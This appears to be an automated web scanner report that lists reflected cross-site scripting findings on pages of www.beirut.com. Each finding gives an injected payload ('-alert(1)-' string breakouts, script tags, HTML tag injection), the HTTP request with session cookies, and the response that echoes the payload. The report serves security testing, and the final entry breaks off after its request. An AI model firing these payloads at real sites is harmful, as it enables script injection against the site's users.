<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Restaurants/Winerye6d85'-alert(1)-'e0df76b5580'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30952'-alert(1)-'556232b32e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping30952'-alert(1)-'556232b32e7/Books-Music-Movies/05084418 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:53:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping30952'-alert(1)-'556232b32e7/Books-Music-Movies'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9795b"><a>4e0ac1c97f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping9795b"><a>4e0ac1c97f/Books-Music-Movies/05084418 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:45:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59998
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping9795b"><a>4e0ac1c97f"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96d27'-alert(1)-'0ab7e97c8fd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies96d27'-alert(1)-'0ab7e97c8fd/05084418 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:58:10 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60608
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Books-Music-Movies96d27'-alert(1)-'0ab7e97c8fd'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4e072<script>alert(1)</script>4f7f6dbcf6c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Books-Music-Movies4e072<script>alert(1)</script>4f7f6dbcf6c/05084418 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:59:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61192
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Books Music Movies4e072<script>alert(1)</script>4f7f6dbcf6c <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38d8e"><a>ae77423f8af was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping38d8e"><a>ae77423f8af/Books-Music-Movies/05084418/Bookshops/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:48:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59925
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping38d8e"><a>ae77423f8af"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9bc3'-alert(1)-'4dd26508804 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingb9bc3'-alert(1)-'4dd26508804/Books-Music-Movies/05084418/Bookshops/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:59:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59881
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shoppingb9bc3'-alert(1)-'4dd26508804/Books-Music-Movies/05084418/Bookshops/5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6c03'-alert(1)-'62fb6b285db was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Moviesf6c03'-alert(1)-'62fb6b285db/05084418/Bookshops/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:07:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61100
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Books-Music-Moviesf6c03'-alert(1)-'62fb6b285db/05084418/Bookshops/5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 46801<script>alert(1)</script>5e38308e28a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Books-Music-Movies46801<script>alert(1)</script>5e38308e28a/05084418/Bookshops/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:09:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61236
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Books Music Movies46801<script>alert(1)</script>5e38308e28a <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c002'-alert(1)-'6820f139974 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/050844185c002'-alert(1)-'6820f139974/Bookshops/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:16:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61822
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Books-Music-Movies/050844185c002'-alert(1)-'6820f139974/Bookshops/5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb77a'-alert(1)-'446509ffabe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Bookshopseb77a'-alert(1)-'446509ffabe/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:31:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61232
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Books-Music-Movies/05084418/Bookshopseb77a'-alert(1)-'446509ffabe/5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e8e92'-alert(1)-'e32a804b249 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Bookshops/5e8e92'-alert(1)-'e32a804b249 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:43:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54255
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Books-Music-Movies/05084418/Bookshops/5e8e92'-alert(1)-'e32a804b249'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 466f3"><a>1a8722d16db was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping466f3"><a>1a8722d16db/Books-Music-Movies/05084418/Movie-Rentals/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:47:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59768
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping466f3"><a>1a8722d16db"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c66c'-alert(1)-'eae7df1b843 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping3c66c'-alert(1)-'eae7df1b843/Books-Music-Movies/05084418/Movie-Rentals/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:55:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping3c66c'-alert(1)-'eae7df1b843/Books-Music-Movies/05084418/Movie-Rentals/3'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bbff0'-alert(1)-'1b41822ee5a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Moviesbbff0'-alert(1)-'1b41822ee5a/05084418/Movie-Rentals/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:02:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56532
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Books-Music-Moviesbbff0'-alert(1)-'1b41822ee5a/05084418/Movie-Rentals/3'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ce2d2<script>alert(1)</script>8528b945f37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Books-Music-Moviesce2d2<script>alert(1)</script>8528b945f37/05084418/Movie-Rentals/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
